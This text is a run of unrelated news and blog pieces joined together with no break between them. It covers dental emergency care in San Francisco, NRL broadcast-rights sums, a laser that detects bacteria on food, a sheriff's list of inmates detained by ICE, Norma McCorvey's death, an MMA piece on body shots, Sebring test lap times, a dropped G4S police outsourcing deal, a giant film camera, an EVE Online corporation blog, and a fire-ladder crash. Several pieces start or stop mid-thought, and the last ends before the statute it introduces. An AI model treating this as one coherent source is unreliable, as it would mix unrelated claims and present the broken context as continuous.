Jabari Kelly touches the swelling around an infected wisdom tooth at the S.F. General Hospital dental clinic. Jabari Kelly touches the swelling around an infected wisdom tooth at the S.F. General Hospital dental clinic. Photo: Michael Short, Special To The Chronicle Photo: Michael Short, Special To The Chronicle Image 1 of / 8 Caption Close Dental clinic proves importance of care 1 / 8 Back to Gallery
Jabari Kelly showed up at San Francisco General Hospital's dental clinic last Friday looking like he was hiding a golf ball in his left cheek. He had been in pain for three weeks.
The 36-year-old San Francisco man had an infected wisdom tooth, and swelling had spread into his jaw and cheek. A few more days, he was told, and the infection could have advanced below his chin, possibly restricting his breathing.
"You've got 32 teeth - each one can kill you," said Dr. Newton Gordon, a dentist and UCSF School of Dentistry professor.
Kelly lacks dental insurance and said he had not been to a dentist in two years. His dental problems were more extreme than most, but they illustrate the importance of preventive dental care and the larger ties between dental health and overall health.
But millions of Californians have lost dental insurance in recent years as the state cut Medi-Cal dental benefits and the number of people with private insurance fell, sending more people to emergency rooms for care.
No safety net anymore
Many emergency departments don't have dentists, and what emergency physicians can do is limited. For damaged teeth, they can prescribe painkillers and antibiotics and refer patients to dentists for a tooth extraction, one procedure that is still covered by Medicaid.
"There's literally no safety net for these adults anymore," said Beth Mertz, an assistant professor at the UCSF School of Dentistry. "Once the tooth starts to go sour, unless they can find the money to pay for it out of pocket, their choice is to wait until it gets bad enough to cover it as an emergency extraction."
That is what the team at the oral and maxillofacial surgery clinic at San Francisco General was preparing to do for Kelly. The clinic has such a high demand that it has to triage patients and focus on the most pressing cases. Other patients might have to wait weeks for an appointment.
"To see the people turned away touched my heart," Kelly said. "If I wasn't as bad as I was, I would have given them my spot."
In 2009, the state cut its Denti-Cal program, eliminating nonemergency dental benefits for most adults. The move saved California more than $100 million a year, but left almost 3 million adults without coverage. Other Californians have lost private dental insurance because of unemployment or because employers stopped offering it.
That means cleanings and fillings are no longer covered, and local dentists said they are seeing more people coming to hospitals with more serious problems - a trend occurring nationwide.
There are a number of free dental clinics in California throughout the year, and some clinics offer dental care on a sliding fee scale, meaning patients pay what they can. The federal Ryan White program also covers oral health care for people with HIV and AIDS. But these programs cover only a fraction of the need.
At San Francisco General, the number of emergency visits for dental complaints grew from 365 in 2008-09 to 453 in 2009-10, according to hospital data. In 2011-12, the number of emergency visits was 651.
Patients stream in
In 2008, the hospital cut the dental clinic's hours from five days a week to three to save money. At the time, the number of annual visits was projected to drop from 6,000 to 3,500, according to Dr. Brian Bast, the chief of oral and maxillofacial surgery and an associate clinical professor at UCSF.
Instead, the clinic had more than 4,800 visits in 2008-09. Subsequent years have seen similar numbers.
"It's nice to have that service, but what we're seeing is patients, had they had access to dental care, they would have been seen by a dentist and teeth that we're removing could have been restored with a filling," Bast said.
Highland Hospital in Oakland saw similar growth in dental demands. In 2007, there were 577 dental-related visits at the emergency department there, accounting for 0.9 percent of all emergency room visits. In 2011, the number of visits was 2,718 - 3.4 percent of all visits.
More drop-in visitors
The dental clinic at Highland also saw large increases in the number of drop-in visits, a figure that includes referrals from the emergency department. In 2008, the drop-in number was less than 5,500, but it grew to more than 8,300 in 2009 and peaked at 9,500 in 2011.
For many people, dental care is not something they think about until they have a problem, said Dr. Tony Mock, the dental clinic director and chief of general dentistry at Highland.
"A lot of these people are having a hard time making ends meet, and teeth are just a last priority for them," he said.
Rebecca Hoffman, 27, who owns a dog-walking business, had looked at buying private insurance but could not afford it. The San Francisco woman said she had not been to the dentist in 10 years.
But in November, an infection around a broken molar spread into Hoffman's jaw. She eventually had to have surgery to remove the tooth and spent several days in the hospital.
"Something minor turned into something huge," she said. "Something that could have been prevented wasn't."
Risks of other health issues
Experts emphasize that quality dental care is not just for teeth's sake. People with dental health problems face higher risks of other health issues, including cardiovascular disease and diabetes. And research has shown that people with dental problems have a harder time finding jobs.
Nine's costs could be further reduced by $100 million over five years if Fox Sports agree to simulcast Nine's Thursday night, Friday night and Sunday afternoon games. This would mean Nine paying a total of $625 million, a still significant 39 per cent increase on the $450 million it paid for the same number of games in the current contract. However, as leading sports media rights advisor Colin Smith points out, the NRL has surrendered competitive tension to Nine, allowing it to sell a game to a rival broadcaster and therefore becoming the effective holder of first and last rights. This is an ironic twist considering rugby league's last TV deal was a desperate battle by ARL commissioners to successfully extricate themselves from News Corporation's first and last rights, which extended to 2027, a win that contributed to News Ltd boss Kim Williams losing his job. NRL club warlords, such as the Roosters' Nick Politis and the Bulldogs' Ray Dibb, will be watching with Machievellian manouevering recent revelations in Rupert Murdoch's newspapers of a possible $1.8 billion deal from 2018-22.
Assuming Nine pays $625 million; Fox Sports outlays $200 million for the critical Saturday night match, $100 million for simulcast and $650 million for the remaining four games, the Australian TV total is $1.575 billion. Telstra paid $100 million for digital rights last time and Optus' recent purchase of the EPL rights, will probably force the Australian owned telco to double its offering to $200 million. Sky New Zealand can be expected to pay between $80 million and $100 million over the five years. Nine, Fox Sports, Telstra and New Zealand payments add up to $1.875 billion, just over the projected $1.8 billion. While the club warlords may declare this "get out of jail" money, it won't stop their politicking for a greater role on the make up of the ARL Commission.
The only meaningful comparison they will make is to compare the final NRL TV deal to the $2.55 billion over six years contract awarded the AFL by News Corporation, Channel Seven and Telstra. This is equivalent to a five year term of $2.13 billion, or a 70 per cent increase on their current $1.250 billion deal which still has one year left. It is not realistic for the NRL rebels to demand the same money as AFL, considering it has an additional game to sell (nine compared to eight) and its two-hour format over four quarters allows for more commercial breaks. However, Politis and his cohorts will expect a 70 per cent increase on the NRL's current $1.125 billion, considering the last increase was 80 per cent and the code dominated top five Australian ratings in 2015. That's a figure of $1.9 billion and there is no need for a rush to achieve it, considering there are two years left to negotiate in a world of rapidly changing technology, while the AFL has locked itself out of it for seven years.
Now, a research group in South Korea has come up with a possible solution, which can be briefly summarized with: pew, pew, nom, nom.
That’s right, researchers at the Korea Advanced Institutes of Science and Technology have developed a fridge-mountable laser that detects the squirming movements of microbes on the surface of your chow. The method is cheap, easy to use, and requires no contact with the contaminated food, making it an ideal solution to a common health problem, the authors suggest.
The method works by zapping food with a series of laser shots while using a camera to watch how the light of each zap scatters off the surface. If the surface is still, the scatter pattern will stay completely or almost completely the same with repeated laser fire. But if the food is swarming with infectious bacteria, the scatter pattern will change in a matter of seconds. This is because microbes tend to propel themselves around with whip-like tails, called flagella, causing the light to scatter differently as they wriggle and swim to and fro.
As a proof-of-concept, the researchers tested their laser method on chicken breasts that were either clean or purposefully smeared with infectious bacteria, namely E. coli and B. cereus. The laser method could easily distinguish which chicken samples were contaminated and to what extent.
The authors suggest that such a laser-camera setup could be easily installed in fridges and commercial food processing plants.
But, there are elected officials and law enforcement officers in the state who strongly oppose these policies and, in particular, Senate Bill 54, which would prohibit law enforcement agencies in the state from using "agency or department moneys, facilities, property, equipment, or personnel to investigate, interrogate, detain, detect, or arrest persons for immigration enforcement purposes."
Law enforcement associations have made their concerns known, but since SB 54 has passed the Senate, the Ventura County Sheriff's Department is taking their concerns straight to the public, posting a "rap sheet" of some of the actual Ventura County inmates recently detained by ICE.
As a follow-up to our concerns over Senate Bill 54, we would like to provide more factual information regarding the types of individuals that would be released into our community if immigration authorities are not allowed in our jail as would be mandated by this bill. Immigration and Customs Enforcement (ICE) has continued to review inmates in the jail who might have possibly been in the country illegally.
The report stated that ICE had detained 50 inmates in the last 30 days, but the county averages 1,373 ICE detainers a year. All but one of the 50 had either a prior arrest history, current felony charges, or prior deportation orders (yet found themselves in jail again). The Sheriff's Department then posted a sample of the charges of those detained by ICE:
Inmate 1 Current Arrest – felony domestic violence; Prior Arrests – drunk driving; stealing a vehicle; hit and run; drunk in public; under the influence of a controlled substance; possession of drugs; possession of drug paraphernalia
Current Arrest – felony domestic violence; Prior Arrests – drunk driving; stealing a vehicle; hit and run; drunk in public; under the influence of a controlled substance; possession of drugs; possession of drug paraphernalia Inmate 2 Current Arrest – felony domestic violence; dissuading a victim from testifying; obstructing the use of a communication devices to prevent summoning assistance; Prior Arrests – felony domestic violence (twice); assault with a deadly weapon; child endangerment; illegal entry; previously deported
Current Arrest – felony domestic violence; dissuading a victim from testifying; obstructing the use of a communication devices to prevent summoning assistance; Prior Arrests – felony domestic violence (twice); assault with a deadly weapon; child endangerment; illegal entry; previously deported Inmate 3 Current Arrest – felony domestic violence; false imprisonment; resisting arrest; kidnapping; Prior Arrests – sexual battery; burglary; robbery; false information to a peace officer; brandishing a weapon; false imprisonment; kidnapping; stealing a vehicle; illegal entry; previously deported
Current Arrest – felony domestic violence; false imprisonment; resisting arrest; kidnapping; Prior Arrests – sexual battery; burglary; robbery; false information to a peace officer; brandishing a weapon; false imprisonment; kidnapping; stealing a vehicle; illegal entry; previously deported Inmate 4 Current Arrest – possession of a controlled substance for sale; transportation of a controlled substance (twice); driving on a suspended license; Prior Arrests – battery (twice); drunk in public; vandalism; transportation, sales, or distribution of a dangerous drug; transportation of a controlled substance; drunk driving (twice)
Current Arrest – possession of a controlled substance for sale; transportation of a controlled substance (twice); driving on a suspended license; Prior Arrests – battery (twice); drunk in public; vandalism; transportation, sales, or distribution of a dangerous drug; transportation of a controlled substance; drunk driving (twice) Inmate 5 Current Arrest – felony drunk driving; driving without an ignition interlock device; driving on a suspended license; Prior Arrests – lewd acts with a child under 14; driving on a suspended drivers’ license (five times); drunk driving (twice); unlawful sexual intercourse with a minor
Current Arrest – felony drunk driving; driving without an ignition interlock device; driving on a suspended license; Prior Arrests – lewd acts with a child under 14; driving on a suspended drivers’ license (five times); drunk driving (twice); unlawful sexual intercourse with a minor Inmate 6 Current Arrest – assault with a deadly weapon; attempted kidnapping; Prior Arrests – possession of drugs (twice); possession of drug paraphernalia (three times); prowling; theft (twice); false information to a peace officer (twice); drunk in public; robbery (three times); felony domestic violence; assault with a deadly weapon (three times); kidnapping (twice)
Current Arrest – assault with a deadly weapon; attempted kidnapping; Prior Arrests – possession of drugs (twice); possession of drug paraphernalia (three times); prowling; theft (twice); false information to a peace officer (twice); drunk in public; robbery (three times); felony domestic violence; assault with a deadly weapon (three times); kidnapping (twice) Inmate 7 Current Arrest – domestic violence; Prior Arrests – felony criminal threats (twice); domestic violence (twice); child endangerment; driving without a license; driving with a suspended license; possession of drugs; theft (twice); possession of stolen property; false information to a peace officer; stealing a vehicle; illegal entry
Current Arrest – domestic violence; Prior Arrests – felony criminal threats (twice); domestic violence (twice); child endangerment; driving without a license; driving with a suspended license; possession of drugs; theft (twice); possession of stolen property; false information to a peace officer; stealing a vehicle; illegal entry Inmate 8 Current Arrest – kidnapping; false imprisonment; lewd acts with a child under 14; Prior Arrests – resisting arrest; under the influence of drugs (twice); kidnapping; lewd acts with a child under 14, drunk in public
Current Arrest – kidnapping; false imprisonment; lewd acts with a child under 14; Prior Arrests – resisting arrest; under the influence of drugs (twice); kidnapping; lewd acts with a child under 14, drunk in public Inmate 9 Current Arrest – warrant for resisting arrest, false information to a peace officer, domestic violence, violation of a domestic violence court order; Prior Arrests – brandishing a weapon; felony domestic violence; felony criminal threats; drunk in public (twice); violation of a domestic violence court order (three times); vandalism; domestic violence (twice); resisting arrest (twice); false information to a peace officer
Current Arrest – warrant for resisting arrest, false information to a peace officer, domestic violence, violation of a domestic violence court order; Prior Arrests – brandishing a weapon; felony domestic violence; felony criminal threats; drunk in public (twice); violation of a domestic violence court order (three times); vandalism; domestic violence (twice); resisting arrest (twice); false information to a peace officer Inmate 10 Current Arrest – felony domestic violence; Prior Arrests – felony domestic violence; previously deported
Current Arrest – felony domestic violence; Prior Arrests – felony domestic violence; previously deported Inmate 11 Current Arrest – possession of a short barreled shotgun; Prior Arrests – assault with a deadly weapon, possession of a short barreled shotgun (twice), assault, carrying a concealed firearm, illegal entry
Current Arrest – possession of a short barreled shotgun; Prior Arrests – assault with a deadly weapon, possession of a short barreled shotgun (twice), assault, carrying a concealed firearm, illegal entry Inmate 12 Current Arrest – under the influence of drugs; Prior Arrests – felony domestic violence, burglary, inflicting injury to a child, under the influence of drugs, resisting arrest, unlicensed driver, drunk driving, possession of drug paraphernalia, false information to a peace officer
Current Arrest – under the influence of drugs; Prior Arrests – felony domestic violence, burglary, inflicting injury to a child, under the influence of drugs, resisting arrest, unlicensed driver, drunk driving, possession of drug paraphernalia, false information to a peace officer Inmate 13 Current Arrest – possession of drugs for sale; Prior Arrests – possession of drugs for sale (twice); previously deported
Current Arrest – possession of drugs for sale; Prior Arrests – possession of drugs for sale (twice); previously deported Inmate 14 Current Arrest – under the influence of drugs; Prior Arrest – member of a street gang, assault with a deadly weapon, conspiracy, possession of drugs, drunk driving, trespassing
Current Arrest – under the influence of drugs; Prior Arrest – member of a street gang, assault with a deadly weapon, conspiracy, possession of drugs, drunk driving, trespassing Inmate 15 Current Arrest – felony domestic violence; Prior Arrests – felony domestic violence; child endangerment; false imprisonment; domestic battery; drunk driving; hit and run
Journalist Joshua Prager, who was reportedly working on a book about Roe v. Wade, confirmed that McCorvey died of heart failure, according to The Washington Post.
McCorvey was dealing with abuse, addiction and an unwanted pregnancy when she filed suit in 1970 as the anonymous plaintiff “Jane Roe” to battle for her right to an abortion. She never actually had an abortion ― the child she gave birth to in 1970 was adopted ― but she went on to fight for reproductive rights until the decision was handed down in 1973.
The Huffington Post’s Jenavieve Hatch reports:
McCorvey became a pro-choice poster child, working for women’s centers in Texas and California in the ‘80s and early ‘90s. But in 1995, Operation Rescue, a Christian group focused on making abortion illegal, moved in next door to the Dallas abortion clinic where she worked. According to The New York Times, McCorvey bonded with members of the group over time, and was baptized in August of that year. Since then, she has been an ardent pro-life activist, and in 1998 she fully converted to Catholicism.
Since Roe v. Wade, some 50 million legal abortions have been performed in the United States, though state and federal laws have imposed a range of restrictions on abortions and other reproductive rights.
McCorvey remains a divisive American character who’s been the subject of two autobiographies, several films and some great reporting.
Rick Story’s body punching turned Gunnar Nelson into a zombie by rounds four and five and secured his upset victory. Conor McGregor managed to further wind an already depleted Chad Mendes by repeatedly throwing a snap kick into his midsection until the smaller man was too gassed to defend the knockout punch. Shogun Rua’s brutal body kicks managed to slow Antonio Rogerio Nogueira enough that he negated most of his striking advantages.
Why is that though? It’s easy enough to understand why striking a vital organ like the liver produces a knockout, but why does simply hitting the midsection reduce even the most conditioned athletes to mere shells of themselves?
Since targeting the back of the body is at best difficult and at worst illegal, we’ll focus on the front and sides. To understand the effects of body shots, it’s important to break down the functions of the bones and muscles located on the torso.
In terms of bones, the only real targets on the torso are the ribs. The most obvious function of the ribs is protecting thoracic organs but they also have a secondary purpose: mechanically assisting breathing. This mechanical activity is facilitated by intercostal muscles (meaning “between the ribs” muscles) which expand the rib cage during inspiration and aid in forceful expiration when necessary.
The frontal and lateral muscles of the midsection are easy enough: the pecs and abs.
The pectoral muscles can mostly be ignored; they are thick, tough and are surprisingly difficult to land solid shots against on a moving target. When gauging the difficulty of landing a solid shot against the low potential damage, it is no surprise almost all body shots are focused to the abdominal region. The abdominal muscles have a far more useful function than keeping Channing Tatum employed; they are responsible for bending the spine forward and laterally, rotating it, keeping the core stable and even controlling the tilt of the pelvis.
As unscientific as this may sound, a large reason for fatigue from body shots is pain.
Pain isn’t just distracting; it’s exhausting.
If something is causing pain, the body will react to the stimulus and send the message “Hey, stop doing that!” It takes a certain amount of mental fortitude to override the self-preservation reflex and continue the action anyway. Do this repeatedly and mental fatigue becomes a very real factor. Ever go running with a headache and found that you got tired quicker, or that you had to work much harder to finish a set distance?
This is compounded by the fact that unlike a broken hand, a fighter can’t avoid using their midsection.
Damaged ribs and intercostal muscles will still be stimulated every time a fighter draws a breath and as anyone with a cracked rib will tell you, the results can be agonizing. Some of the more savvy readers may bring up abdominal breathing or in layman’s terms “breathing with the stomach”. Well, abdominal breathing usually isn’t an option either; while upright and moving the abs are used to maintain proper posture leaving the ribs to do the bulk of the inspiration.
The abdominal muscles may not have a lot to do with breathing in a fight but they are used almost everywhere else. Rolling with and throwing punches requires vertebral torsion and ducking and slipping requires quick flexion of the spine, all of which requires use of the abdominal muscles.
There’s a reason that coaches don’t say “ignore the pain” but instead “fight through the pain”; it’s impossible to avoid acknowledging such a clear signal from your brain begging you to stop doing whatever you’re doing. Great fighters can fight this signal but after a while it’s draining. It’s why fighters drop their hands even though they know they are at risk of a head shot knockout; at some point they can no longer fight the self-preservation instinct and obey the brain’s command to protect themselves from further pain.
I urge you to go onto forums for sufferers of chronic pain and read how many of them complain of fatigue.
But there’s also a simple, anatomical reason body shots sap cardio.
Whenever the body suffers an impact, an unspecified number of cells die in the area. It’s why knockouts are so dangerous; they literally kill brain cells.
Muscle cells are full of the myofibrils that contract in unison to contract an entire muscle.
Once a cell dies the myofibrils become nonfunctional and can no longer assist in contraction. Cell death and small trauma is an everyday occurrence which is why people don’t get a bruise and all of a sudden lose control of a body part. But a human limb being accelerated into the muscle at high speeds repeatedly over a short period of time is anything but small scale.
It’s why you see fighters who take too many leg kicks be unable to put weight on the affected limb or sometimes even collapse. It’s not just the pain (though I cannot overemphasize how much that matters) but that the muscle has taken so much damage that the remaining muscle cells are insufficient to support the fighter’s weight.
When enough muscle cells die in the midsection, it is anatomically more difficult to perform functions associated with the muscles in that area. Imagine trying to duck or slip a punch with only 90% of your abdominal muscles functioning. That may sound insignificant but as the remaining muscle fibers are forced to pick up the slack over the duration of the fight the strain is enormous. Think about limping with a sprained ankle; after a while the other leg begins to tire or even cramp because it is taking on a much larger workload than normal. It’s what commentators talk about when they say a fighter is “favoring” one side of their body; he or she is minutely adjusting their posture to relieve the strain on damaged muscles.
Body shots are fatiguing because they are an assault on mind and body. The midsection is an easy target and after taking damage, simply cannot be ignored. The psychological and physical strain of trauma to the core muscles are enormous and truly change the outcome of fights.
The 12 Hours of Sebring test by the numbers
Story by Gary Becker Photographs by Mike Beckers, Mike Bratton, Gary Becker
Looking back over the two days, four sessions of testing at Sebring International Raceway it is very apparent that the Cadillac DPi V.R. is the class of the field and may yet face the appearance of the dreaded Balance of Performance prior to the start of next month's Mobil 1 Twelve Hours of Sebring Fueled by Fresh from Florida.
All three Cadillacs, No.31 Whelen Engineering Racing Cadillac, No.5 Mustang Sampling Racing Cadillac and the No.10 Konica Minolta Cadillac took turns atop the time sheets over the four sessions. Fastest during the test overall was Jordan Taylor in Session three with a lap of 1:49.600 with the other two Cadillacs within the a tenth of second.
The rest of the prototype field?
The best of the rest were the P2 cars running according to ACO/FIA rules and being held as the standard for the rest of the prototypes. The No.52 PR1/Mathiasen Motorsports Ligier and the No.85 JDC-Miller Motorsports ORECA were the class of the P2 field with the JDC-Miller Motorsports ORECA with Stephen Simpson at the wheel posting a two day best lap of 1:50.348.
That shows a .748 seconds difference over the 3.74 mile circuit between the fastest Cadillac and the fastest P2 machine. That works out to (according to my 6th grade math level) something around four laps after twelve hours considering the winning car in the last non-rain interrupted event in 2015 completed 340 laps.
Those numbers are too large to be ignored by the dreaded Balance of Performance which will now probably show its ugly face prior to the next race weekend.
While the Cadillacs may be slowed the Mazda and Nissan powered cars may need help. The fastest of the two Tequila Patron ESM Nissan DPi cars was the No.2 of Ryan Dalziel in session three with a lap of 1:50.767. That equates to 1.167 seconds off the fastest Cadillac during that session.
Meanwhile in Mazda land the lead car was the No.55 Mazda Motorsports Mazda DPi of Jonathan Bomarito with a quick lap of 1:50.828 also run in the third session. That comes out to 1.228 seconds off the Cadillac set pace.
So how do these numbers compare to last year's pre Sebring test? A year ago Olivier Pla at the wheel of the No.60 Honda Ligier JS P2 for Michael Shank Racing with Curb-Agajanian was atop the time sheets with a lap of 1:51.546 nearly two seconds off this year's pace.
In GTLM thing look much more even as Corvette, Ford and BMW all headlined at least one of the four sessions with a Corvette setting the class overall best time.
During the third session the No.3 Corvette Racing Chevrolet Corvette C7.R with Jan Magnussen driving set the overall class standard with a lap of 1:58.525. The No.912 Porsche GT Team Porsche 911 RSR of Dirk Werner posted 1:58.531 in session three a mere .006 of the Corvette's pace.
Third in class was the No.67 Ford Chip Ganassi Racing Ford GT Ryan Briscoe at 1:58.636 only 0.111 off the top time. The No.25 BMW Team RLL BMW M6 GTLM of Alexander Sims posted a test best of 1:58.795 which is 0.270 seconds of the pace with the No.62 Risi Competizione Ferrari 488 GTE of Toni Vilander at 1:58.809 which equals 0.284 second slower than the lead Corvette.
A five team, five manufacturer class covered by only 0.284 seconds over 3.74 miles of bumps and bruises is pretty impressive.
GTD with six manufacturers, multiple independent teams and variety driver skill levels is a little tougher to figure out.
Overall the No.54 CORE autosport Porsche 911 GT3 R with Colin Braun driving set a two day class best time of 2:02.476 in session three. The second best in class was the No.29 Montaplast by Land-Motorsport Audi R8 LMS GT3 of Christopher Mies at 2:02.662 which was 0.186 off the CORE autosport Porsche.
From the top two marques is a half second drop off to the third quick manufacturer, the Lamborghini Huracan GT3. Bryan Sellers in the No.48 Paul Miller Racing Lamborghini posted a test best 2:03.051 or 0.575 seconds off the lead Porsche.
Following as fourth fastest marque was the No.14 3GT Racing Lexus RCF GT3 with Sage Karam driving with a test best of 2:03.157 which was 0.681 seconds off the CORE Porsche.
Both Acura and Mercedes were nearly a full second off the pace of the class leader. The No.93 Michael Shank Racing w/ Curb-Agajanian Acura NSX GT3 of Mark Wilkins ran a test best of 2:03.409 or 0.933 seconds behind the top Porsche. The No.50 Riley Motorsports - WeatherTech Racing Mercedes-AMG GT3 with Gunnar Jeannette in control posted a lap of 2:03.454 which is 0.978 seconds off the Porsche time.
With the Lamborghinis a half second off the pace and followed by the Lexus, Acura and Mercedes, the last two nearly a full second a lap slower, look for some Balance of Performance action prior to the 12 Hours of Sebring.
All-in-all no big surprises with the exceptions of the Mazda and Mercedes seeming to struggle. IMSA definitely needs to look at the Cadillacs or the 12 Hours of Sebring will be a repeat of the Rolex 24, a long Cadillac commercial.
Session one results - Session two results
Session three results - Session four results
A plan by three police forces to outsource services to a private firm has collapsed after Police and Crime Commissioners (PCCs) rejected it.
Bedfordshire, Cambridgeshire and Hertfordshire forces were looking at contracting G4S to provide joint IT and human resources.
Instead the forces said they would increase their internal collaboration.
G4S said the deal would have saved the three forces more than £100m over about 10 years.
I still believe that substantial elements of policing support services will be best delivered by the private sector David Lloyd, Hertfordshire PCC
The three PCCs formalised their decision at a meeting earlier, with Hertfordshire's PCC David Lloyd confirming the three commissioners had "discontinued negotiations" between the Bedfordshire, Cambridgeshire and Hertfordshire Strategic Alliance and G4S.
The forces had considered joining with Lincolnshire, which has a 10-year contract with G4S, as part of outsourcing plans.
The plan was put forward in a bid to help plug a £73m funding gap and could have affected 1,100 staff.
Olympics embarrassment
Mr Lloyd said: "It is now clear that the G4S framework contract through Lincolnshire Police was not suitable for the unique position of the three forces.
"I am already in discussion with other market providers and will continue to talk with G4S about how they can assist policing support services in Hertfordshire.
"I still believe that substantial elements of policing support services will be best delivered by the private sector and will ensure that this option is immediately pursued."
Bedfordshire's PCC Olly Martins tweeted: "We have concluded Lincs/G4S contract is not for us".
Kim Challis, G4S chief executive, said: "We put forward a compelling proposition to the police forces... which would have guaranteed them savings of over £100m over the next 10 years.
"It was never about replacing police officers. This has already proved to be the case in Lincolnshire, where... in less than a year has seen us deliver savings in running costs of around 16%.
"We continue to work with a number of signatory forces on the Lincolnshire Police contract, including Hertfordshire, to see how we can help them to generate the savings they need".
BBC East home affairs correspondent Sally Chidzoy said the move towards more internal collaboration would likely safeguard a number of local jobs.
G4S was heavily criticised for its handling of the Olympic Games security contract last summer.
Photographer Dennis Manarchy has taken the idea of large-format and ... enlarged it. To make his portraits, Manarchy goes inside a 35-foot-long camera. He uses a 6-foot-tall negative. And to process the film, he says, "you gotta get really nasty."
toggle caption Dennis Manarchy
The result, he says, is the "most unbelievably beautiful thing you've ever seen in your life."
toggle caption Courtesy of Dennis Manarchy
Granted, he's biased. And I haven't been to his Chicago studio to see the portraits he's already made — but can only imagine the spectacle and resolution of a negative that large.
This may not be the world's largest camera. There was one behemoth in 1900 that used wet plates. In 2007, Guinness recognized a project that used an entire airplane hangar as a camera (though that was more of a camera obscura). There's also the "camera truck," self-described as the "world's biggest mobile camera" — but that's also a pinhole.
Manarchy's contraption might be the world's largest film camera with an actual lens. But no matter. Point is: It's huge.
Enlarge this image toggle caption Courtesy of Dennis Manarchy Courtesy of Dennis Manarchy
What's the motivation? For one, he's anticipating the camera's 200th anniversary in a few years. As revolutionary products like the Lytro emerge from the ashes of Kodak's film, Manarchy calls this project "a swan song to the brilliance of film."
That nostalgia seems to permeate his psyche. Manarchy has not only built a shrine to a medium in its twilight, but he has also chosen a specific subject matter: He calls it the "Vanishing Cultures" project, and the endeavor is as big as the camera:
According to Manarchy and his Kickstarter page, which he is using to raise money, these are the goals: Raise a paltry $10 million; build a brand-new camera; travel a mere 20,000 miles across the country making portraits; get Washington D.C.'s prestigious National Portrait Gallery to display the photographs, which can be expanded, without Photoshop, to the size of a building; donate the camera to the Smithsonian. Easy peasy.
toggle caption Courtesy of Dennis Manarchy
And for now, it's just a side project. "When I started doing this," he says, "I had no idea that anyone would care about it." Most days of the week, Manarchy is an established commercial photographer who uses digital like the rest of them.
But he'd rather be on the road. Manarchy gives a few examples of what, in his mind, constitutes a "vanishing culture": Tuskegee Airmen (America's first black military airmen), American Indian tribes like the Havasupai, and Holocaust survivors. But he seems to keep the idea of a "vanishing culture" open to interpretation; the next person he plans to photograph is James Lovell, commander of the Apollo 13 mission.
toggle caption Courtesy of Dennis Manarchy
Recruitment Inhibitors.
Something has been bugging me for quite some time. The corporation which I’ve always been a part of – The Knights of Nii – started as an open door corporation. Anyone could join, even I. For a long time we aspired to be that way. But as the corporations assets have increased and since our home and hearts is in Wormhole space some game mechanics really impedes recruitment.
Every time we discuss bringing new members into the wormhole where we live the same discussion come up. How do we ensure that the new member does not steal all our ships, fitting modules, POS fuel etc? There are other things too. Like that we would like to keep some corporation bookmarks away from new players. This could be bookmarks to other holes for instance.
The security in regard to Ship Maintenance Arrays (SMA) are digital. Either you have access and can remove anything and everything from them or you have zero access. The Corporate Hangars Array (CHA) is more secure having seven individual compartments allowing for a number of security settings. No rights, view contents, drop items and take items.
To alleviate these problems CCP in June 2013 introduced the Personal Hangar Array (PHA). This gives every corporation member her own storage area. It’s not a huge volume, but it does allow for every member to store some stuff. There is no room for ships and large amounts of ore, fuel or Planetary Interaction materials. There are however still no Personal Ship Maintenance Array. Even at the time the PHA was introduced I wondered why the SMA was left out. Since the CHA at least has some possibility of security the need for a more secure SMA seemed a lot higher to me. It still does.
There are ways of addressing these shortcomings. You can give the members no access, forcing them to store their modules in their ships and their ships inside the POS shields. They can drop own containers within the shields. Or you could have several SMA’s barring the new and/or yet fully trusted members from accessing the rest of the corps ships. The problem remains though. Unless you place an SMA for every new member there can still be theft within the corporation and since there is no log of who took what finding the thief is impossible.
I love that Eve is a harsh game and would not have it any other way. But it would be nice to be able to recruit players without having to risk billions of ISK. The current state of the corporation mechanics makes paranoia, mistrust and caution the norm. Giving people a break and reaching out are frowned upon. New players have a hard time getting into corporations. Corporations we all know most of them desperately need to experience the game fully and to keep them in the game. Often new players only experience with corporations is the business end of ammunition instead of an outstretched hand. Yeah, I know I’m often guilty of handing out ammunition, but you all get the idea. It’s a vicious circle.
Enablers. A fuzzy word with a lot of potential. Potentially.
Eve Online’s Executive Producer, CCP Seagull has on several occasions spoken of Enablers. Last I heard it was on the Crozzing Zebras Podcast which I highly recommend you to take a listen to. As I understand it CCP Seagulls definition of an Enabler is someone that does things that others need done in order to focus on playing the game. Someone that builds the foundation that everything stands on. The examples of such enabling actions I have makes me think ‘corporation and alliance upper management’ tools. I’m not aware of CCP Seagull giving an example of a person that is such an Enabler. Would Mangala of Red vs Blue fame be an Enabler? He arranges RvB Ganked nights where a lot of players fleet up and go roaming space for fights and giggles. How about a CEO that plans a roam, or a mining operation? How about the scout that maps out the wormhole chain for the nights operation? The scout makes copies and distributes bookmarks, researches the locals in the neighboring wormholes, scans down sigs and so on. The more I think of it the more people I do see as Enablers.
Perhaps my definition of ‘Enablers’ differs substantially from CCP Seagulls. I don’t know. I can not find enough details what an Enabler is exactly. Her occasional vagueness is the only negative thing I have to say about CCP Seagull. I have complete confidence in her. And in her defense I must point out that she addresses her vagueness, albeit in a roundabout way in the podcast linked above.
Inhibitors? Enablers? WTF?
So how do the recruitment inhibitors and Enablers tie into each other? Good question! I’ve played Eve for a couple of years now. I have had the opportunity of playing with a lot of people that are very competent and willing to share their knowledge. I’d like to keep the privilege of being enabled that way.
But I also would like to enable others. Preferably new players that want to live in wormhole space. Enable them to learn exploration, scanning, running Sleeper sites and hunt other players. But with the pretty much nonexistent security in regards SMA’s especially and the functional but clunky corporation security in general I find the risk high, and minimizing these risks a lot of work. It’s too much of a risk giving new and potentially thieving members the opportunity to steal billions worth of ships.
Wrap-up and next posts.
I have given a lot of thought to what would be required for the Knights of Nii to have that open door we used to have. In the next post I will discuss these thoughts. I will suggest some additions and changes to mechanics. Suggestions that I feel would really help corporations Enabling new players, without theft being such an issue. Please feel free to leave comments or contact me in-game or on Twitter where I am @Akely.
The third post in this series will discuss workarounds. I will do my best to figure out how to within the current iteration of the game solve the problems I’ve listed. So again, feel free to give feedback.
The accident occurred last Tuesday, April 5, 2011 and sent both the police officer, Darrell Vinson, and the driver of the ladder, Francis X. Tierney, to the hospital. The apparatus, Ladder 29, was responding with lights and siren to a vehicle accident at the time.
The Massachusetts State Police conducted the accident investigation and on Friday cited Tierney for not stopping for the red light controlling the intersection where the accident occurred. Massachusetts law allows fire apparatus to proceed through red traffic lights ONLY after first coming to a complete stop.
Here is the language of the statute:
